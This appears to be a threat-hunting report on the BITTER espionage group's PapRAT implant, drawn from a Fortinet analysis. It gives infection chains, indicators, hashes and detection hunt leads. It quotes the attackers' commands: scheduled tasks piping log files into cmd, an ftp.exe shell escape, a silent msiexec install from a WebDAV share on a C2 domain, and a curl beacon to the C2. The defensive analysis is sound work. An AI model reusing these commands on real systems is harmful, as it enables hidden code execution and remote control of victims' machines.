BITTER’s New PapRAT Hides Behind ftp.exe and Fake Microsoft Installers

The South Asian espionage crew BITTER has a new remote-access tool, and it’s going to a lot of trouble not to look like one. Fortinet’s FortiGuard Labs says the group is spreading PapRAT, built in both C++ and Rust, through three infection chains dressed up as diplomatic and military paperwork: a staff-program update, a bilateral meeting request, an ambassador’s letter about a Belt and Road summit and a gala-dinner invitation. One chain never drops a normal program at all, leaning on Windows’ own ftp.exe and curl instead.

goodnfortunes[.]com
techtalkhelp[.]com
gomescareerplans[.]com
rappellingaart[.]com
rivingtonclarks[.]com
www[.]chestergreenfarming[.]com
netmansrvdns[.]com
hxxps://felixfuturenext[.]com/Epistemological/
hxxp://www[.]rivingtonclarks[.]com/beautiQuewonders/banaNa.php

Scheduled tasks: MicrosoftUpdates\updates11678, MicrosoftUpdates\updates88679, BiosUpdates\update101
C:\users\public\music\err.log
C:\programdata\talk.log
bruzsvc.exe (“Microsoft redistributables” 2.6.14.26), vnces.exe (WmRAT)
PapRAT SHA256 569a21b519aaac8c92f653d708ab6ef34e3f38ea967f47e041d1e2425f6a4b33
WmRAT SHA256 411c0b9a2f98b927d806a685faf0c1ab1005647b4816157008892347fb88546b

Source article: BITTER Expands Its Arsenal with PapRAT
Publisher: Fortinet FortiGuard Labs (Cara Lin)
Published: November 2, 2026
URL: https://www.fortinet.com/blog/threat-research/bitter-expands-its-arsenal-with-paprat

Executive Summary

Fortinet FortiGuard Labs reports that BITTER, a suspected South Asian cyberespionage group active since at least 2013 and historically focused on government, energy and engineering targets, has added PapRAT, a remote-access tool built in C++ and in Rust, to an arsenal that already includes WmRAT. Fortinet names no aliases and no victim countries; its telemetry is concentrated in South Asia, and the lures (an aviation command and staff program update, a bilateral meeting request for the 22nd HACGAM, an ambassador’s letter on the 11th Belt and Road Summit and a “Majilis 2026” gala-dinner invitation) point at diplomatic, defense and government readers. Three chains are described. In the first, an LNK makes ftp.exe run a script named icon.ico whose shell escape pipes res.ico into cmd; res.ico writes a curl command into C:\users\public\music\err.log, schedules it every 30 minutes as MicrosoftUpdates\updates11678 through conhost –headless, and either collects directory listings, processes, drives and installed antivirus into abc.pdf for upload to goodnfortunes[.]com or stages Base64 commands from techtalkhelp[.]com in C:\programdata\talk.log under the task BiosUpdates\update101. In the second, a VHDX mounts an LNK plus a hidden decoy spreadsheet and a hidden MSI whose Type 194 custom action launches PapRAT posing as Microsoft redistributables (bruzsvc.exe). In the third, a RAR carries a .url file pointing at a WebDAV share on rappellingaart[.]com, which silently installs another MSI with msiexec /qn and schedules MicrosoftUpdates\updates88679; PapRAT then downloads WmRAT as vnces.exe. PapRAT polls its C2 every 10 seconds (C++, plaintext HTTP, XOR 0x50 strings) or every 5 seconds after a 42-second delay (Rust, HTTPS, reversed ROT-3 strings) and supports shell, file, upload, download, execution, drive and screenshot commands. The objective is espionage collection and the impact is persistent remote control of the victim workstation. Fortinet published no YARA or Sigma rules; hunt leads, false positive expectations and indicators are detailed below.

ATT&CK chain: Initial Access → Execution → Persistence → Defense Evasion → Discovery → Collection → Command and Control → Exfiltration

Hunt Lead Grid

BITTER PapRAT Infrastructure, Task and File Sweep

Fortinet lists three scheduled tasks, MicrosoftUpdates\updates11678 (every 30 minutes), BiosUpdates\update101 (every 15 minutes) and MicrosoftUpdates\updates88679 (every 49 minutes), all created with /f, plus staging files C:\users\public\music\err.log (a curl command disguised as an error log), C:\programdata\talk.log (Base64 commands), abc.pdf in %localappdata% (a plain-text recon dump given a PDF name and deleted after upload), the PapRAT payload whose PE claims Company “Microsoft Corporation”, product “Microsoft redistributables”, version 2.6.14.26 and original name bruzsvc.exe, and WmRAT dropped as vnces.exe. Network infrastructure is goodnfortunes[.]com (paths /b99/?kq= and /ucl.php?svr=), techtalkhelp[.]com/talk.log, gomescareerplans[.]com/docs, rappellingaart[.]com (WebDAV over SSL at /secure-docs/), rivingtonclarks[.]com (PapRAT panel, including /beautiQuewonders/banaNa.php and /banana/), www[.]chestergreenfarming[.]com, netmansrvdns[.]com (WmRAT C2) and felixfuturenext[.]com/Epistemological/. The detection logic is a retrospective sweep of scheduled-task inventories and Event 4698 for the three task names, file-creation telemetry for the err.log, talk.log and abc.pdf paths, PE metadata searches for the bruzsvc.exe version info on any binary outside a Microsoft-signed path, the published SHA-256s, and DNS, proxy and firewall logs for every domain and URL path.

Use EDR file and process telemetry, Task Scheduler operational logs or Event 4698, and DNS and proxy logs, and sweep at least 90 days because the tasks fire every 15 to 49 minutes indefinitely and the staged talk.log lets the operators change commands without touching the host again. Scope to all endpoints but prioritize staff who handle diplomatic, defense, aviation or government correspondence. Blocking only the hashes is the wrong control because chain 1 has no executable at all and the scripts change server-side; the task names, paths and domains are the durable anchors here. Any hit on a task name, err.log containing a curl command, or a lookup of these domains should go straight to incident response, since it means PapRAT or the scripted stage is live and collecting.

Hunt Lead Level: 1 (Junior Analyst)

ATT&CK: Persistence → T1053.005 (Scheduled Task/Job: Scheduled Task); Defense Evasion → T1036.008 (Masquerading: Masquerade File Type) (our mapping; the source gives no ATT&CK IDs)

Sources: “BITTER Expands Its Arsenal with PapRAT”, Fortinet FortiGuard Labs, Nov. 2, 2026, https://www.fortinet.com/blog/threat-research/bitter-expands-its-arsenal-with-paprat (source article)

ftp.exe Spawning a Command Shell

In chain 1 the LNK launches the native Windows ftp.exe with a script file named icon.ico; inside the FTP session the ! prefix runs a local shell command, and the line !more res.ico pipes the contents of res.ico to cmd before the session ends. The same icon.ico and res.ico pair is served from the WebDAV share in chain 3. No traditional executable is dropped in this stage, so the first visible process event is ftp.exe, started from an LNK, spawning cmd.exe, which then runs schtasks, curl and msg. The detection logic is a process-creation rule for cmd.exe (or more.com) whose parent is ftp.exe, raised to high priority when ftp.exe itself was launched by explorer.exe from a shortcut, when its command line references a file with an image extension such as .ico, or when the child chain includes schtasks /create, curl or msg *.

Use EDR process creation with full parent lineage and command lines, or Sysmon Event ID 1 and Windows 4688 with command-line auditing. Sweep 90 days and scope to all Windows endpoints; ftp.exe usage on user workstations is rare enough that the lead can run fleet-wide. If any legacy batch transfer jobs still use ftp.exe, allowlist them by host and exact script path rather than by process name. Removing or blocking ftp.exe through application control is a reasonable hardening step where it isn’t needed, but don’t rely on that alone: the same technique works with other living-off-the-land binaries, which is why the parent-child pattern generalizes beyond BITTER. Treat a hit as active initial access and isolate the host before the scheduled task fires again.

Hunt Lead Level: 2 (Pro)

ATT&CK: Defense Evasion → T1202 (Indirect Command Execution) (our mapping; the source gives no ATT&CK IDs)

Sources: “BITTER Expands Its Arsenal with PapRAT”, Fortinet FortiGuard Labs, Nov. 2, 2026, https://www.fortinet.com/blog/threat-research/bitter-expands-its-arsenal-with-paprat (source article)

Scheduled Task Piping a Log File Into cmd

Every BITTER persistence task Fortinet describes uses the same trick: the task action reads a text file with more and pipes it into a command shell, for example conhost –headless cmd /c more C:\users\public\music\err.log|cmd or conhost –headless cmd /c more C:\programdata\talk.log|c^m^d, created with schtasks /sc minute /mo 15, 30 or 49 and /f. The file contents are a curl command (curl –ssl-no-revoke -k against the C2 with %computername% in the query string) or a Base64 stage, so the operator can swap what runs simply by changing what the server returns. The detection logic has two parts: a process-creation rule for schtasks.exe /create whose /tr argument contains more, a pipe and cmd (including caret-escaped variants such as c^m^d), and a runtime rule for cmd.exe launched by the Task Scheduler service, or by conhost.exe with –headless, whose command line pipes a .log or other text file into cmd; pair it with curl.exe launched from that chain using –ssl-no-revoke and -k.

Use EDR process telemetry with command lines, Event 4698 for task creation (the XML carries the action), and Task Scheduler operational log Event 200/201 for task runs. Sweep 90 days, because the tasks recur indefinitely. Normalize command lines by stripping carets before matching, since BITTER escapes characters to break string rules. Disabling conhost or curl is the wrong control because both are core Windows components; anchor on the pipe-into-cmd pattern instead, which generalizes to other actors that stage commands in text files. A hit should be escalated as active persistence: collect the referenced file before it is overwritten, then delete the task and investigate what the C2 returned.

Hunt Lead Level: 2 (Pro)

ATT&CK: Persistence → T1053.005 (Scheduled Task/Job: Scheduled Task); Defense Evasion → T1564.003 (Hide Artifacts: Hidden Window); Execution → T1059.003 (Command and Scripting Interpreter: Windows Command Shell) (our mapping; the source gives no ATT&CK IDs)

Sources: “BITTER Expands Its Arsenal with PapRAT”, Fortinet FortiGuard Labs, Nov. 2, 2026, https://www.fortinet.com/blog/threat-research/bitter-expands-its-arsenal-with-paprat (source article)

MSI Custom Action Launching a Fast-Beaconing Implant

In chain 2 the LNK inside the mounted VHDX runs cmd.exe /c Visa_Details.msi & Attachment-2.xls, installing a hidden MSI and opening the decoy; in chain 3 res.ico runs msiexec /i \\rappellingaart[.]com@SSL\secure-docs\Imp_Details.msi /qn, a silent install straight from a WebDAV share. Neither MSI installs anything real: its only executable action is a Type 194 custom action that launches PapRAT, which then polls its C2 every 10 seconds over plaintext HTTP (C++ build) or every 5 seconds over HTTPS after a 42-second delay (Rust build), sending client_id=username_computername. The detection logic correlates three events per host inside a short window: msiexec.exe installing a package from a mounted virtual disk drive letter or a UNC path containing @SSL, a child process of msiexec (or of the Windows Installer service) that is not signed by the vendor whose name it carries, such as a binary claiming “Microsoft redistributables” without a Microsoft signature, and outbound HTTP or HTTPS from that child to a rare domain at a near-constant 5 or 10 second interval.

Use EDR process and network telemetry (or Sysmon Event IDs 1, 3 and 22), Windows Installer events 1033/11707 in the Application log, VHD mount events from the Microsoft-Windows-VHDMP operational log, and proxy logs with per-request timestamps for beacon interval analysis. Baseline your software distribution system first and allowlist its signed packages and deployment service accounts, so the rule only considers user-initiated installs. Blocking msiexec is the wrong control because legitimate software depends on it; blocking VHDX attachments and WebDAV egress where unneeded are the right preventive steps. The sequence generalizes to any actor that hides a payload in an MSI custom action. A confirmed sequence is a live implant: isolate the host, capture memory, and check whether PapRAT has already pulled down WmRAT (vnces.exe).

Hunt Lead Level: 3 (Elite)

ATT&CK: Defense Evasion → T1218.007 (System Binary Proxy Execution: Msiexec); Command and Control → T1071.001 (Application Layer Protocol: Web Protocols) (our mapping; the source gives no ATT&CK IDs)

Sources: “BITTER Expands Its Arsenal with PapRAT”, Fortinet FortiGuard Labs, Nov. 2, 2026, https://www.fortinet.com/blog/threat-research/bitter-expands-its-arsenal-with-paprat (source article)

Hash Appendix

BITTER LNK lures

SHA-256s come from the source article, which does not say which LNK belongs to which chain. OTX AlienVault and VirusTotal were not checked, so MD5 and SHA-1 are not available.

MD5s
(not available)  # LNK lure 1
(not available)  # LNK lure 2
(not available)  # LNK lure 3

SHA1s
(not available)  # LNK lure 1
(not available)  # LNK lure 2
(not available)  # LNK lure 3

SHA256s
a3081df333ca7f18bd90d10a45125ab5011dcf9d2806feae2935f09cab07da4c  # LNK lure 1
e3992f8c945b0761242377cba32d91b0a390c7cecd79478439843d93e6d2b76b  # LNK lure 2
ccefbdec2718d864d9d33c743aabfcef88a8d7904d1c598bfcf15cf5f3591c88  # LNK lure 3

PapRAT and WmRAT

SHA-256s come from the source article; MD5 and SHA-1 are not available (OTX AlienVault and VirusTotal not checked). No hashes were published for the VHDX, RAR, URL, MSI or talk.log files.

MD5s
(not available)  # PapRAT (Rust build, requpap.pdb)
(not available)  # vnces.exe, WmRAT

SHA1s
(not available)  # PapRAT (Rust build, requpap.pdb)
(not available)  # vnces.exe, WmRAT

SHA256s
569a21b519aaac8c92f653d708ab6ef34e3f38ea967f47e041d1e2425f6a4b33  # PapRAT (Rust build, requpap.pdb)
411c0b9a2f98b927d806a685faf0c1ab1005647b4816157008892347fb88546b  # vnces.exe, WmRAT

References Appendix

• “BITTER Expands Its Arsenal with PapRAT”, Fortinet FortiGuard Labs (Cara Lin), Nov. 2, 2026, https://www.fortinet.com/blog/threat-research/bitter-expands-its-arsenal-with-paprat (source article; infection chains, PapRAT commands, indicators and hashes)
• MITRE ATT&CK Enterprise technique pages linked above, MITRE, https://attack.mitre.org/